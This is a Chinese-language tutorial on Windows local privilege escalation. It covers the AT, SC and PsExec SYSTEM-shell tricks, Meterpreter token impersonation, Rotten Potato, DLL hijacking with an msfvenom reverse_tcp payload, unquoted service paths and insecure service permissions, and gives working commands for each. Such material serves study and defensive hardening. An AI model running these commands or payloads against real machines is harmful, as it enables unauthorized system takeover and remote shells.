目录
windows提权思维导图
Windows提权工具
vulmap
windows-exp-suggester
WindowsVulnScan
AT&SC&PS提权
AT命令提权
SC命令提权
PS命令提权
令牌窃取提权
烂土豆配合令牌窃取提权
进程注入提权
DLL 劫持提权
不带引号服务路径
不安全的服务权限
vulmon开发的一款开源工具,原理是根据软件的名称和版本号来确定,是否有CVE及公开的EXP。这款Linux的工具挺好用,但是对于Windows系统层面不太适用。
这款和本工具的原理一样,尝试使用了之后,发现它的CVEKB数据库只更新到2017年的,并且没有给出CVE是否有公开的EXP信息。
这是一款基于主机的漏洞扫描工具,采用多线程确保可以快速的请求数据,采用线程锁可以在向sqlite数据库中写入数据避免的错误,采用哈希算法确保数据不重复插入。
at 命令提权的原理:at命令是一个计划命令,可以在规定时间完成一些操作,这个命令调用的是system权限。
适用版本:Win2000 & Win2003 & XP中还是存在的,在Win7以后被剔除,当我们拿到一个低权限的用户,通过3389端口远程连接上后,可以通过at命令来进行本地提权
AT提权命令:at 15:13 /interactive cmd.exe(在15:13分生成一个交互式的System权限的cmd)
命令介绍:SC 是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于“控制面板”中“管理工具”项中的“服务”。
适用版本:windows 7、8、03、08、12、16
提权命令:这个sc Create syscmd binPath= "cmd /K start" type= own type= interact
其中systcmd
是服务名称,大家可以随意填写,binpath是启动的命令,type=own是指服务这个服务属于谁,type=interact。#这里再解释一下 cmd/k start 这个命令,这个命令就是启动一个新的cmd窗口。所以命令的意思是创建一个叫syscmd的新交互式的cmd服务,然后执行sc start syscmd
启动服务就得到了一个system权限的cmd环境
微软官方工具包:PsTools - Sysinternals | Microsoft Learn
PS介绍:PsExec属于SysInternalSuite (一个windows的内核的套件)是其中一个工具,可以利用它进行提权。
适用版本:Win2003 & Win2008
PS提权命令:psexec.exe -accepteula -s -i -d cmd.exe
令牌窃取提升——本地提权介绍:
进行远程过程调用时请求提升权限,然后调用它从而生成特权安全令牌以执行特权操作。当系统允许令牌不仅用于进程本身,还用于原始请求进程时,漏洞就会出现。
执行过程:获取会话——利用模块——窃取令牌——提权
适用版本:
Microsoft Windows XP Professional SP3 和之前版本
Windows Server 2003 SP2 和之前的版本
Windows Server 2003 x64 和 x64 SP2
Windows Server 2003(用于基于 Itanium 的系统 SP2 和先前版本)
Windows Server 2008 x32 x64 Windows Server 2008(用于基于 Itanium 的系统)
Windows Vista SP1 和之前的版本 Windows Vista x64 SP1 和之前的版本
令牌窃取提权命令:
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM" (机器名\\用户名)
烂土豆提权原理:
一般从Web拿到的WebShell 都是IIS 服务器权限,是具有这个模仿权限,使用菜刀反弹meterpreter就会成功
烂土豆&&热土豆
烂土豆比热土豆的优点:
通过中间人攻击,将COM(NT\SYSTEM权限)在第二步挑战应答过程中认证的区块改成自己的区块获取SYSTEM令牌,然后利用msf的模仿令牌功能模仿SYSTEM令牌
非服务类用户权限无法窃取成功(原理) 过程:上传烂土豆-执行烂土豆-利用窃取模块-窃取 SYSTEM-成功
上传后依次执行以下命令:
use incognito
执行potato.exe命令:list_tokens -u execute -cH -f ./potato.exe
list_tokens -u impersonate_token "NT AUTHORITY\\SYSTEM"
进程注入提权介绍:
进程注入提权是本地提权方式的一种较为老的安全技术了,利用的是注入进程的所有者实现权限共享机制,这类技术主要利用在 windows2008 之前操作系统上。
进程注入提权工具:
pinjector进程注入工具——win2008 以前操作系统
pexec64 32进程注入工具——win2008 及后操作系统
原理:Windows 程序启动的时候需要 DLL。如果这些 DLL 不存在,则可以通过在应用程序要查找的 位置放置恶意 DLL 来提权。通常,Windows 应用程序有其预定义好的搜索 DLL 的路径,它会根据下 面的顺序进行搜索:
过程:信息收集-进程调试-制作 dll 并上传-替换 dll-启动应用后成功
命令如:msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.22 lport=6677 -f dll > shell.dll
dll劫持提权需要特定软件应用的控制权限及启用配合,复杂鸡肋
有第三方软件、有替换权限、管理员要运行这个软件
不带引号服务路径配合 MSF-Web,本地权限
原理:当 Windows 服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。 过程:检测引号服务路径-利用路径制作文件并上传-启用服务或重启-调用后成功
检测引号服务路径安全命令:wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
启动服务命令:sc start "服务名"
不安全的服务权限配合 MSF-本地权限 原理:即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有 过多的权限,例如,可以直接修改它导致重定向执行文件。
过程:检测服务权限配置-制作文件并上传-更改服务路径指向-调用后成功
accesschk下载:AccessChk - Sysinternals | Microsoft Learn
检测服务权限配置:accesschk.exe -uwcqv "administrators" *
更改服务路径指向:sc config "NewServiceName" binpath="C:\Program.exe"
重启服务调用:sc start "NewServiceName"